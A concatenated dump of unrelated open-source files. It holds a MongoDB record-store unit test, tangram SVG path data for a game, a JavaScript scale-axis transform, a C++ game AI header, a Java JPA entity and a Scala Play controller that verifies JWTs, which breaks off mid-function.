#endif /* end of #ifndef ossimPngWriterFactory_HEADER */
|
leifwalsh/mongo | src/mongo/db/storage/mmap_v1/record_store_v1_simple_test.cpp | <filename>src/mongo/db/storage/mmap_v1/record_store_v1_simple_test.cpp
// record_store_v1_simple_test.cpp
/**
* Copyright (C) 2014 MongoDB Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License, version 3,
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* As a special exception, the copyright holders give permission to link the
* code of portions of this program with the OpenSSL library under certain
* conditions as described in each individual source file and distribute
* linked combinations including the program with the OpenSSL library. You
* must comply with the GNU Affero General Public License in all respects for
* all of the code used other than as permitted herein. If you modify file(s)
* with this exception, you may extend this exception to your version of the
* file(s), but you are not obligated to do so. If you do not wish to do so,
* delete this exception statement from your version. If you delete this
* exception statement from all source files in the program, then also delete
* it in the license file.
*/
#include "mongo/db/storage/mmap_v1/record_store_v1_simple.h"
#include "mongo/db/operation_context_noop.h"
#include "mongo/db/storage/mmap_v1/extent.h"
#include "mongo/db/storage/mmap_v1/record.h"
#include "mongo/db/storage/mmap_v1/record_store_v1_test_help.h"
#include "mongo/unittest/unittest.h"
using namespace mongo;
namespace {
using std::string;
TEST( SimpleRecordStoreV1, quantizeAllocationSpaceSimple ) {
ASSERT_EQUALS(RecordStoreV1Base::quantizeAllocationSpace(33), 64);
ASSERT_EQUALS(RecordStoreV1Base::quantizeAllocationSpace(1000), 1024);
ASSERT_EQUALS(RecordStoreV1Base::quantizeAllocationSpace(10001), 16*1024);
ASSERT_EQUALS(RecordStoreV1Base::quantizeAllocationSpace(100000), 128*1024);
ASSERT_EQUALS(RecordStoreV1Base::quantizeAllocationSpace(1000001), 1024*1024);
ASSERT_EQUALS(RecordStoreV1Base::quantizeAllocationSpace(10000000), 10*1024*1024);
ASSERT_EQUALS(RecordStoreV1Base::quantizeAllocationSpace(14*1024*1024 - 1), 14*1024*1024);
ASSERT_EQUALS(RecordStoreV1Base::quantizeAllocationSpace(14*1024*1024), 14*1024*1024);
ASSERT_EQUALS(RecordStoreV1Base::quantizeAllocationSpace(14*1024*1024 + 1),
16*1024*1024 + 512*1024);
ASSERT_EQUALS(RecordStoreV1Base::quantizeAllocationSpace(16*1024*1024 + 512*1024),
16*1024*1024 + 512*1024);
}
TEST( SimpleRecordStoreV1, quantizeAllocationMinMaxBound ) {
const int maxSize = RecordStoreV1Base::MaxAllowedAllocation;
ASSERT_EQUALS(RecordStoreV1Base::quantizeAllocationSpace(1), 32);
ASSERT_EQUALS(RecordStoreV1Base::quantizeAllocationSpace(maxSize), maxSize);
}
/**
* Tests quantization of sizes around all valid bucket sizes.
*/
TEST( SimpleRecordStoreV1, quantizeAroundBucketSizes ) {
for (int bucket = 0; bucket < RecordStoreV1Base::Buckets - 2; bucket++) {
const int size = RecordStoreV1Base::bucketSizes[bucket];
const int nextSize = RecordStoreV1Base::bucketSizes[bucket + 1];
// size - 1 is quantized to size.
ASSERT_EQUALS( size,
RecordStoreV1Base::quantizeAllocationSpace( size - 1 ) );
// size is quantized to size.
ASSERT_EQUALS( size,
RecordStoreV1Base::quantizeAllocationSpace( size ) );
// size + 1 is quantized to nextSize (if it is a valid allocation)
if (size + 1 <= RecordStoreV1Base::MaxAllowedAllocation) {
ASSERT_EQUALS( nextSize,
RecordStoreV1Base::quantizeAllocationSpace( size + 1 ) );
}
}
}
BSONObj docForRecordSize( int size ) {
BSONObjBuilder b;
b.append( "_id", 5 );
b.append( "x", string( size - Record::HeaderSize - 22, 'x' ) );
BSONObj x = b.obj();
ASSERT_EQUALS( Record::HeaderSize + x.objsize(), size );
return x;
}
class BsonDocWriter : public DocWriter {
public:
BsonDocWriter(const BSONObj& obj, bool padding) : _obj(obj), _padding(padding) {}
virtual void writeDocument(char* buf) const { memcpy(buf, _obj.objdata(), _obj.objsize()); }
virtual size_t documentSize() const { return _obj.objsize(); }
virtual bool addPadding() const { return _padding; }
private:
BSONObj _obj;
bool _padding;
};
/** alloc() quantizes the requested size using quantizeAllocationSpace() rules. */
TEST(SimpleRecordStoreV1, AllocQuantized) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
string myns = "test.AllocQuantized";
SimpleRecordStoreV1 rs( &txn, myns, md, &em, false );
BSONObj obj = docForRecordSize( 300 );
StatusWith<RecordId> result = rs.insertRecord( &txn, obj.objdata(), obj.objsize(), false);
ASSERT( result.isOK() );
// The length of the allocated record is quantized.
ASSERT_EQUALS( 512 , rs.dataFor( &txn, result.getValue() ).size() + Record::HeaderSize );
}
TEST(SimpleRecordStoreV1, AllocNonQuantized) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
md->setUserFlag(&txn, CollectionOptions::Flag_NoPadding);
string myns = "test.AllocQuantized";
SimpleRecordStoreV1 rs( &txn, myns, md, &em, false );
BSONObj obj = docForRecordSize( 300 );
StatusWith<RecordId> result = rs.insertRecord( &txn, obj.objdata(), obj.objsize(), false);
ASSERT( result.isOK() );
// The length of the allocated record is quantized.
ASSERT_EQUALS( 300 , rs.dataFor( &txn, result.getValue() ).size() + Record::HeaderSize );
}
TEST(SimpleRecordStoreV1, AllocNonQuantizedStillAligned) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
md->setUserFlag(&txn, CollectionOptions::Flag_NoPadding);
string myns = "test.AllocQuantized";
SimpleRecordStoreV1 rs( &txn, myns, md, &em, false );
BSONObj obj = docForRecordSize( 298 );
StatusWith<RecordId> result = rs.insertRecord( &txn, obj.objdata(), obj.objsize(), false);
ASSERT( result.isOK() );
// The length of the allocated record is quantized.
ASSERT_EQUALS( 300 , rs.dataFor( &txn, result.getValue() ).size() + Record::HeaderSize );
}
/** alloc() quantizes the requested size if DocWriter::addPadding() returns true. */
TEST(SimpleRecordStoreV1, AllocQuantizedWithDocWriter) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
string myns = "test.AllocQuantized";
SimpleRecordStoreV1 rs( &txn, myns, md, &em, false );
BsonDocWriter docWriter(docForRecordSize( 300 ), true);
StatusWith<RecordId> result = rs.insertRecord(&txn, &docWriter, false);
ASSERT( result.isOK() );
// The length of the allocated record is quantized.
ASSERT_EQUALS( 512 , rs.dataFor( &txn, result.getValue() ).size() + Record::HeaderSize );
}
/**
* alloc() does not quantize records if DocWriter::addPadding() returns false
*/
TEST(SimpleRecordStoreV1, AllocNonQuantizedDocWriter) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
string myns = "test.AllocIndexNamespaceNotQuantized";
SimpleRecordStoreV1 rs( &txn, myns + "$x", md, &em, false );
BsonDocWriter docWriter(docForRecordSize( 300 ), false);
StatusWith<RecordId> result = rs.insertRecord(&txn, &docWriter, false);
ASSERT( result.isOK() );
// The length of the allocated record is not quantized.
ASSERT_EQUALS( 300, rs.dataFor( &txn, result.getValue() ).size() + Record::HeaderSize );
}
/** alloc() aligns record sizes up to 4 bytes even if DocWriter::addPadding returns false. */
TEST(SimpleRecordStoreV1, AllocAlignedDocWriter) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
string myns = "test.AllocIndexNamespaceNotQuantized";
SimpleRecordStoreV1 rs( &txn, myns + "$x", md, &em, false );
BsonDocWriter docWriter(docForRecordSize( 298 ), false);
StatusWith<RecordId> result = rs.insertRecord(&txn, &docWriter, false);
ASSERT( result.isOK() );
ASSERT_EQUALS( 300, rs.dataFor( &txn, result.getValue() ).size() + Record::HeaderSize );
}
/**
* alloc() with quantized size doesn't split if enough room left over.
*/
TEST(SimpleRecordStoreV1, AllocUseQuantizedDeletedRecordWithoutSplit) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
SimpleRecordStoreV1 rs( &txn, "test.foo", md, &em, false );
{
LocAndSize drecs[] = {
{DiskLoc(0, 1000), 512 + 31},
{}
};
initializeV1RS(&txn, NULL, drecs, NULL, &em, md);
}
BsonDocWriter docWriter(docForRecordSize( 300 ), true);
StatusWith<RecordId> actualLocation = rs.insertRecord(&txn, &docWriter, false);
ASSERT_OK( actualLocation.getStatus() );
{
LocAndSize recs[] = {
{DiskLoc(0, 1000), 512 + 31},
{}
};
LocAndSize drecs[] = {
{}
};
assertStateV1RS(&txn, recs, drecs, NULL, &em, md);
}
}
/**
* alloc() with quantized size splits if enough room left over.
*/
TEST(SimpleRecordStoreV1, AllocUseQuantizedDeletedRecordWithSplit) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
SimpleRecordStoreV1 rs( &txn, "test.foo", md, &em, false );
{
LocAndSize drecs[] = {
{DiskLoc(0, 1000), 512 + 32},
{}
};
initializeV1RS(&txn, NULL, drecs, NULL, &em, md);
}
BsonDocWriter docWriter(docForRecordSize( 300 ), true);
StatusWith<RecordId> actualLocation = rs.insertRecord(&txn, &docWriter, false);
ASSERT_OK( actualLocation.getStatus() );
{
LocAndSize recs[] = {
{DiskLoc(0, 1000), 512},
{}
};
LocAndSize drecs[] = {
{DiskLoc(0, 1512), 32},
{}
};
assertStateV1RS(&txn, recs, drecs, NULL, &em, md);
}
}
/**
* alloc() with non quantized size doesn't split if enough room left over.
*/
TEST(SimpleRecordStoreV1, AllocUseNonQuantizedDeletedRecordWithoutSplit) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
SimpleRecordStoreV1 rs( &txn, "test.foo", md, &em, false );
{
LocAndSize drecs[] = {
{DiskLoc(0, 1000), 331},
{}
};
initializeV1RS(&txn, NULL, drecs, NULL, &em, md);
}
BsonDocWriter docWriter(docForRecordSize( 300 ), false);
StatusWith<RecordId> actualLocation = rs.insertRecord(&txn, &docWriter, false);
ASSERT_OK( actualLocation.getStatus() );
{
LocAndSize recs[] = {
{DiskLoc(0, 1000), 331},
{}
};
LocAndSize drecs[] = {
{}
};
assertStateV1RS(&txn, recs, drecs, NULL, &em, md);
}
}
/**
* alloc() with non quantized size splits if enough room left over.
*/
TEST(SimpleRecordStoreV1, AllocUseNonQuantizedDeletedRecordWithSplit) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
SimpleRecordStoreV1 rs( &txn, "test.foo", md, &em, false );
{
LocAndSize drecs[] = {
{DiskLoc(0, 1000), 332},
{}
};
initializeV1RS(&txn, NULL, drecs, NULL, &em, md);
}
BsonDocWriter docWriter(docForRecordSize( 300 ), false);
StatusWith<RecordId> actualLocation = rs.insertRecord(&txn, &docWriter, false);
ASSERT_OK( actualLocation.getStatus() );
{
LocAndSize recs[] = {
{DiskLoc(0, 1000), 300},
{}
};
LocAndSize drecs[] = {
{DiskLoc(0, 1300), 32},
{}
};
assertStateV1RS(&txn, recs, drecs, NULL, &em, md);
}
}
/**
* alloc() will use from the legacy grab bag if it can.
*/
TEST(SimpleRecordStoreV1, GrabBagIsUsed) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
SimpleRecordStoreV1 rs( &txn, "test.foo", md, &em, false );
{
LocAndSize drecs[] = {
{}
};
LocAndSize grabBag[] = {
{DiskLoc(0, 1000), 4*1024*1024},
{DiskLoc(1, 1000), 4*1024*1024},
{}
};
initializeV1RS(&txn, NULL, drecs, grabBag, &em, md);
}
BsonDocWriter docWriter(docForRecordSize( 256 ), false);
StatusWith<RecordId> actualLocation = rs.insertRecord(&txn, &docWriter, false);
ASSERT_OK( actualLocation.getStatus() );
{
LocAndSize recs[] = {
{DiskLoc(0, 1000), 256},
{}
};
LocAndSize drecs[] = {
{DiskLoc(0, 1256), 4*1024*1024 - 256},
{}
};
LocAndSize grabBag[] = {
{DiskLoc(1, 1000), 4*1024*1024},
{}
};
assertStateV1RS(&txn, recs, drecs, grabBag, &em, md);
}
}
/**
* alloc() will pull from the legacy grab bag even if it isn't needed.
*/
TEST(SimpleRecordStoreV1, GrabBagIsPoppedEvenIfUnneeded) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
SimpleRecordStoreV1 rs( &txn, "test.foo", md, &em, false );
{
LocAndSize drecs[] = {
{DiskLoc(0, 1000), 1000},
{}
};
LocAndSize grabBag[] = {
{DiskLoc(1, 1000), 4*1024*1024},
{DiskLoc(2, 1000), 4*1024*1024},
{}
};
initializeV1RS(&txn, NULL, drecs, grabBag, &em, md);
}
BsonDocWriter docWriter(docForRecordSize( 1000 ), false);
StatusWith<RecordId> actualLocation = rs.insertRecord(&txn, &docWriter, false);
ASSERT_OK( actualLocation.getStatus() );
{
LocAndSize recs[] = {
{DiskLoc(0, 1000), 1000},
{}
};
LocAndSize drecs[] = {
{DiskLoc(1, 1000), 4*1024*1024},
{}
};
LocAndSize grabBag[] = {
{DiskLoc(2, 1000), 4*1024*1024},
{}
};
assertStateV1RS(&txn, recs, drecs, grabBag, &em, md);
}
}
/**
* alloc() will pull from the legacy grab bag even if it can't be used
*/
TEST(SimpleRecordStoreV1, GrabBagIsPoppedEvenIfUnusable) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
SimpleRecordStoreV1 rs( &txn, "test.foo", md, &em, false );
{
LocAndSize drecs[] = {
{DiskLoc(0, 1000), 8*1024*1024},
{}
};
LocAndSize grabBag[] = {
{DiskLoc(1, 1000), 4*1024*1024},
{DiskLoc(2, 1000), 4*1024*1024},
{}
};
initializeV1RS(&txn, NULL, drecs, grabBag, &em, md);
}
BsonDocWriter docWriter(docForRecordSize( 8*1024*1024 ), false);
StatusWith<RecordId> actualLocation = rs.insertRecord(&txn, &docWriter, false);
ASSERT_OK( actualLocation.getStatus() );
{
LocAndSize recs[] = {
{DiskLoc(0, 1000), 8*1024*1024},
{}
};
LocAndSize drecs[] = {
{DiskLoc(1, 1000), 4*1024*1024},
{}
};
LocAndSize grabBag[] = {
{DiskLoc(2, 1000), 4*1024*1024},
{}
};
assertStateV1RS(&txn, recs, drecs, grabBag, &em, md);
}
}
// -----------------
TEST( SimpleRecordStoreV1, FullSimple1 ) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
SimpleRecordStoreV1 rs( &txn,
"test.foo",
md,
&em,
false );
ASSERT_EQUALS( 0, md->numRecords() );
StatusWith<RecordId> result = rs.insertRecord( &txn, "abc", 4, 1000 );
ASSERT_TRUE( result.isOK() );
ASSERT_EQUALS( 1, md->numRecords() );
RecordData recordData = rs.dataFor( &txn, result.getValue() );
ASSERT_EQUALS( string("abc"), string(recordData.data()) );
}
// -----------------
TEST( SimpleRecordStoreV1, Truncate ) {
OperationContextNoop txn;
DummyExtentManager em;
DummyRecordStoreV1MetaData* md = new DummyRecordStoreV1MetaData( false, 0 );
SimpleRecordStoreV1 rs( &txn, "test.foo", md, &em, false );
{
LocAndSize recs[] = {
{DiskLoc(0, 1000), 100},
{DiskLoc(0, 1100), 100},
{DiskLoc(0, 1300), 100},
{DiskLoc(2, 1100), 100},
{}
};
LocAndSize drecs[] = {
{DiskLoc(0, 1200), 100},
{DiskLoc(2, 1000), 100},
{DiskLoc(1, 1000), 1000},
{}
};
initializeV1RS(&txn, recs, drecs, NULL, &em, md);
ASSERT_EQUALS(em.getExtent(DiskLoc(0, 0))->length, em.minSize());
}
rs.truncate(&txn);
{
LocAndSize recs[] = {
{}
};
LocAndSize drecs[] = {
// One extent filled with a single deleted record.
{DiskLoc(0, Extent::HeaderSize()), em.minSize() - Extent::HeaderSize()},
{}
};
assertStateV1RS(&txn, recs, drecs, NULL, &em, md);
}
}
}
|
engagementgamelab/CivicSeed | client/code/data/data.tangrams.js | <reponame>engagementgamelab/CivicSeed<gh_stars>1-10
// Ideally, this is JSON, and is formatted as such
// But the browserify module bundled with socketstream
// does not currently support JSON, so we just
// manually attach it to module.exports
module.exports = [
{
"id": 0,
"name": "correct1",
"level": 0,
"path": "m0,0l0,70l80,0l0,-70l-80,0z",
"fill": "lightGreen"
},
{
"id": 1,
"name": "wrong1",
"level": 0,
"path": "m0,0l50,-50l50,50l-50,50l-50,-50z",
"fill": "blue"
},
{
"id": 2,
"name": "wrong2",
"level": 0,
"path": "m0,0l0,-90l60,0l0,-50l-140,0l0,140l80,0z",
"fill": "lightBlue"
},
{
"id": 3,
"name": "correct2",
"level": 0,
"path": "m0,0l-50,50l50,50l0,-100z",
"fill": "orange"
},
{
"id": 4,
"name": "wrong3",
"level": 0,
"path": "m0,0c0,0 60,0 60,0c0,0 0,-50 0,-50c0,0 -60,0 -60,0c0,0 0,50 0,50z",
"fill": "orange"
},
{
"id": 5,
"name": "correct3",
"level": 0,
"path": "m0,0l-100,0l0,50l60,0l0,20l80,0l0,-20l60,0l0,-50l-100,0z",
"fill": "green"
},
{
"id": 6,
"name": "wrong4",
"level": 0,
"path": "m0,0l0,100l-50,-50l50,-50z",
"fill": "lightOrange"
},
{
"id": 7,
"name": "wrong5",
"level": 0,
"path": "m0,0l0,-50l200,0l0,50l-200,0z",
"fill": "green"
},
{
"id": 8,
"name": "wrong6",
"level": 0,
"path": "m0,0l80,0l0,90l-80,0l0,-90z",
"fill": "lightGreen"
},
{
"id": 9,
"name": "correct4",
"level": 0,
"path": "m0,0l0,100l50,-50l-50,-50z",
"fill": "lightOrange"
},
{
"id": 10,
"name": "correct1",
"level": 1,
"path": "m0,0l-60,0l0,120l-40,0l0,-160l140,0l0,160l-40,0l0,-120z",
"fill": "green"
},
{
"id": 11,
"name": "wrong1",
"level": 1,
"path": "m0,0l0,-80l-170,0l-10,0l0,200l120,0l0,-120l60,0z",
"fill": "orange"
},
{
"id": 12,
"name": "wrong2",
"level": 1,
"path": "m0,0c0,0 0,-200 0,-200c0,0 -120,0 -120,0c0,0 0,200 0,200c0,0 120,0 120,0z",
"fill": "lightOrange"
},
{
"id": 13,
"name": "wrong3",
"level": 1,
"path": "m0,0l100,-40l100,0l100,40l-300,0z",
"fill": "green"
},
{
"id": 14,
"name": "wrong4",
"level": 1,
"path": "m0,0l100,0l0,-40l-50,-40l-50,40l0,40z",
"fill": "lightGreen"
},
{
"id": 15,
"name": "wrong5",
"level": 1,
"path": "m0,0l150,0l0,-120l-50,40l0,30l0,10l-100,40z",
"fill": "blue"
},
{
"id": 16,
"name": "wrong6",
"level": 1,
"path": "m0,0c0,0 0,110 0,110c0,0 0,10 0,10c0,0 150,0 150,0c0,0 -100,-40 -100,-40c0,0 0,-40 0,-40c0,0 -50,-40 -50,-40z",
"fill": "lightBlue"
},
{
"id": 17,
"name": "correct2",
"level": 1,
"path": "m0,0l300,0l-100,-40l-100,0l-100,40z",
"fill": "lightOrange"
},
{
"id": 18,
"name": "correct3",
"level": 1,
"path": "m0,0c0,0 0,-200 0,-200c0,0 150,0 150,0c0,0 0,40 0,40c0,0 -70,0 -70,0c0,0 0,160 0,160c0,0 -80,0 -80,0z",
"fill": "lightGreen"
},
{
"id": 19,
"name": "wrong7",
"level": 1,
"path": "m0,0l0,-200l150,0l0,40l-70,0l0,160l-80,0z",
"fill": "orange"
},
{
"id": 20,
"name": "correct4",
"level": 1,
"path": "m0,0l0,-200l-150,0l0,40l70,0l0,160l80,0z",
"fill": "blue"
},
{
"id": 21,
"name": "wrong8",
"level": 1,
"path": "m0,0l0,-200l-150,0l0,40l70,0l0,160l80,0z",
"fill": "lightOrange"
},
{
"id": 22,
"name": "correct5",
"level": 1,
"path": "m0,0l100,0c0,0 0,-40 0,-40c0,0 -50,-40 -50,-40c0,0 -50,40 -50,40c0,0 0,40 0,40z",
"fill": "orange"
},
{
"id": 23,
"name": "wrong9",
"level": 1,
"path": "m0,0l0,-160l-140,0l0,160l40,0l0,-120l60,0l0,120l40,0z",
"fill": "blue"
},
{
"id": 24,
"name": "correct1",
"level": 2,
"path": "m0,0c0,0 0,-30 0,-30c0,0 70,0 70,0c0,0 0,30 0,30c0,0 -20,0 -20,0c0,0 0,-10 0,-10c0,0 -30,0 -30,0c0,0 0,10 0,10c0,0 -20,0 -20,0z",
"fill": "orange"
},
{
"id": 25,
"name": "correct2",
"level": 2,
"path": "m0,0l-20,20l-20,40l0,110l100,0l0,-70l-60,0l0,-100z",
"fill": "lightOrange"
},
{
"id": 26,
"name": "correct3",
"level": 2,
"path": "m0,0l0,-60l300,0l10,20l0,40l-310,0z",
"fill": "green"
},
{
"id": 27,
"name": "correct4",
"level": 2,
"path": "m0,0l0,70c0,0 100,0 100,0c0,0 0,-70 0,-70c0,0 -100,0 -100,0z",
"fill": "lightGreen"
},
{
"id": 28,
"name": "correct5",
"level": 2,
"path": "m0,0l0,-70l150,0l0,70l-150,0z",
"fill": "lightBlue"
},
{
"id": 29,
"name": "wrong1",
"level": 2,
"path": "m0,0l20,0l0,-10l30,0l0,10l20,0l0,-30l-70,0l0,30z",
"fill": "blue"
},
{
"id": 30,
"name": "wrong2",
"level": 2,
"path": "m0,0l0,60l260,0l-20,-40l-20,-20l-220,0z",
"fill": "lightOrange"
},
{
"id": 31,
"name": "correct6",
"level": 2,
"path": "m0,0l0,40l300,0l-10,-20l-20,-20l-270,0z",
"fill": "blue"
},
{
"id": 32,
"name": "wrong3",
"level": 2,
"path": "m0,0l90,0l0,-60l-50,0l-20,20l-20,40z",
"fill": "green"
},
{
"id": 33,
"name": "correct1",
"level": 3,
"path": "m0,0l-120,0l0,40l240,0c0,0 0,-40 0,-40c0,0 -120,0 -120,0z",
"fill": "orange"
},
{
"id": 34,
"name": "wrong1",
"level": 3,
"path": "m0,0l0,-40l240,0l0,40l-240,0z",
"fill": "blue"
},
{
"id": 35,
"name": "wrong2",
"level": 3,
"path": "m0,0l80,0l0,-90l-100,0l20,90z",
"fill": "lightOrange"
},
{
"id": 36,
"name": "correct2",
"level": 3,
"path": "m0,0l-60,0l-40,-180l100,0l-60,60l40,0l20,50l0,70z",
"fill": "lightGreen"
},
{
"id": 37,
"name": "wrong3",
"level": 3,
"path": "m0,0l-100,0l0,90l80,0l20,-90z",
"fill": "green"
},
{
"id": 38,
"name": "wrong4",
"level": 3,
"path": "m0,0l-20,-90l160,0l-20,90l-120,0z",
"fill": "lightGreen"
},
{
"id": 39,
"name": "correct3",
"level": 3,
"path": "m0,0l100,0l-40,180l-60,0l0,-70l20,-50l40,0l-60,-60z",
"fill": "blue"
},
{
"id": 40,
"name": "correct4",
"level": 3,
"path": "m0,0l60,60l-40,0l-20,-20l-20,20l-40,0l60,-60z",
"fill": "lightOrange"
},
{
"id": 41,
"name": "wrong5",
"level": 3,
"path": "m0,0l120,0l0,220l-60,0l-40,-180l-20,0l0,-40z",
"fill": "orange"
},
{
"id": 42,
"name": "correct5",
"level": 3,
"path": "m0,0l20,20l-20,50l-20,-50l20,-20z",
"fill": "green"
}
] |
FlorisSteenkamp/mat | node/to-scale-axis.js | import { length } from 'flo-bezier3';
import { traverseEdges } from './traverse-edges.js';
import { traverseVertices } from './traverse-vertices.js';
import { getLargestVertex } from './mat/get-largest-vertex.js';
import { getLeaves } from './mat/get-leaves.js';
import { cull } from './mat/to-scale-axis/cull.js';
import { addDebugInfo } from './mat/to-scale-axis/add-debug-info.js';
import { clone } from './cp-node/clone.js';
import { getCurveToNext } from './get-curve-to-next.js';
function linearScale(s) {
return function (r) {
return s * r;
};
}
/** @hidden */
//let len = length([0,1]);
/**
* Apply and returns an enhanced version of the Scale Axis Transform (SAT) to
* the given MAT. The returned SAT is guaranteed to be a subset of the MAT and
* preserves topology at any scale.
*
* Typically the MAT contains too many branches caused by minute details on the
* boundary of the shape. The SAT is a simplification of the MAT that preserves
* less detail the higher the applied scale factor. The severity at which noise
* are removed depends on the local scale of the shape.
* @param mat The Medial Axis Transform ([[Mat]]) on which to apply the SAT.
* @param s The scale factor >= 1 (e.g. 1.3)
*/
function toScaleAxis(mat, s, f = linearScale) {
if (typeof _debug_ !== 'undefined') {
var timingStart = performance.now();
let leaves = getLeaves(mat.cpNode);
_debug_.generated.elems.leaves.push(leaves);
}
/** The largest vertex (as measured by its inscribed disk) */
let cpNodes = [];
traverseVertices(clone(mat.cpNode), cpNode => { cpNodes.push(cpNode); });
let cpNode = getLargestVertex(cpNodes);
let f_ = f(s);
if (typeof _debug_ !== 'undefined') {
_debug_.generated.elems.maxVertex.push(cpNode);
}
/**
* All vertices that are set to be culled initially. This may change later
* in order to preserve topology.
*/
let culls = new Set();
let rMap = new Map();
traverseEdges(cpNode, function (cpNode) {
/** The occulating radius stored with this vertex. */
let R = rMap.get(cpNode) || f_(cpNode.cp.circle.radius);
let cpNode_ = cpNode.next;
let l = length([0, 1], getCurveToNext(cpNode));
let r = cpNode_.cp.circle.radius;
let r_ = f_(r);
if (R - l > r_) {
for (let cpNode of cpNode_.getCpNodesOnCircle()) {
rMap.set(cpNode, R - l); // Update osculating radii
}
culls.add(cpNode_.cp.circle);
}
});
cull(culls, cpNode);
if (typeof _debug_ !== 'undefined') {
_debug_.generated.elems.culls.push(Array.from(culls));
}
// TODO - put line below back - goes into infinite loop
//let sat: Mat = { cpNode, cpTrees: createNewCpTree(cpNode) };
let sat = { cpNode, cpTrees: undefined };
addDebugInfo(sat, timingStart);
return sat;
}
export { toScaleAxis };
//# sourceMappingURL=to-scale-axis.js.map |
InNoHurryToCode/xray-162 | code/engine/xrGame/ai/monsters/bloodsucker/bloodsucker_state_capture_jump.h | <gh_stars>10-100
#pragma once
#include "../state.h"
//#include "../../../entitycondition.h"
template <typename _Object>
class CStateCaptureJumpBloodsucker : public CState<_Object> {
protected:
typedef CState<_Object> inherited;
typedef CState<_Object>* state_ptr;
public:
CStateCaptureJumpBloodsucker(_Object* obj);
virtual ~CStateCaptureJumpBloodsucker();
virtual void execute();
virtual void setup_substates();
virtual void remove_links(CObject* object) { inherited::remove_links(object); }
};
#include "bloodsucker_state_capture_jump_inline.h" |
BinaryStudioAcademy/bsa-2021-mindbridge | backend/core/db/src/main/java/com/mindbridge/data/domains/usersAchievement/model/UsersAchievement.java | package com.mindbridge.data.domains.usersAchievement.model;
import com.mindbridge.data.domains.achievement.model.Achievement;
import com.mindbridge.data.domains.user.model.User;
import com.mindbridge.data.model.BaseAuditableEntity;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.EqualsAndHashCode;
import javax.persistence.*;
import lombok.NoArgsConstructor;
@Entity
@Table(name = "users_achievements")
@Data
@AllArgsConstructor
@NoArgsConstructor
@EqualsAndHashCode(callSuper = true, onlyExplicitlyIncluded = true)
public class UsersAchievement extends BaseAuditableEntity {
@ManyToOne(cascade = CascadeType.REFRESH, fetch = FetchType.LAZY)
@JoinColumn(name = "user_id")
private User user;
@ManyToOne(cascade = CascadeType.REFRESH, fetch = FetchType.LAZY)
@JoinColumn(name = "achievement_id")
private Achievement achievement;
@Override
public String toString() {
return "{\"_super\": " + super.toString() + ", " + "\"_class\":\"UsersAchievement\", " + "\"user_id\":"
+ (user.getId() == null ? "null" : "\"" + user.getId() + "\"") + ", " + "\"achievement_id\":"
+ (achievement.getId() == null ? "null" : "\"" + achievement.getId() + "\"") + ", " + "}";
}
}
|
dit4c/dit4c | dit4c-portal/app/controllers/InstanceController.scala | package controllers
import com.softwaremill.tagging._
import scala.concurrent.duration._
import play.api.mvc.Controller
import akka.util.Timeout
import play.api.mvc.Action
import domain.InstanceAggregate
import services.InstanceSharder
import scala.concurrent._
import akka.actor._
class InstanceController(
val instanceSharder: ActorRef @@ InstanceSharder.type,
val instanceCreatorLookupService: services.InstanceCreatorLookupService)(
implicit system: ActorSystem, executionContext: ExecutionContext)
extends Controller {
import akka.pattern.ask
val log = play.api.Logger(this.getClass)
def instanceRegistration = Action.async { implicit request =>
implicit val timeout = Timeout(1.minute)
val authHeaderRegex = "^Bearer (.*)$".r
request.headers.get("Authorization")
.collect { case authHeaderRegex(token) => token }
.map { token =>
InstanceSharder.resolveJwtInstanceId(token) match {
case Left(msg) =>
log.error(token)
Future.successful(BadRequest(msg))
case Right(instanceId) =>
(instanceSharder ? InstanceSharder.Envelope(instanceId, InstanceAggregate.VerifyJwt(token))).flatMap {
case InstanceAggregate.ValidJwt(instanceId) =>
log.debug(s"Valid JWT for $instanceId")
request.body.asText match {
case Some(uri) =>
(instanceSharder ? InstanceSharder.Envelope(instanceId, InstanceAggregate.AssociateUri(uri))).map { _ =>
Ok("")
}.recover {
case e => InternalServerError(e.getMessage)
}
case None =>
Future.successful(BadRequest("No valid uri"))
}
case InstanceAggregate.InvalidJwt(msg) =>
log.warn(s"Invalid JWT: $msg\n${request.body}")
Future.successful(BadRequest(msg))
}
}
}
.getOrElse(Future.successful(Forbidden("No valid JWT provided")))
}
def instanceCreator(instanceId: String) = Action.async { implicit request =>
implicit val timeout = Timeout(1.minute)
instanceCreatorLookupService.getUserIdOfInstanceCreator(instanceId).map {
case Some(userId) =>
Ok(userId)
case None =>
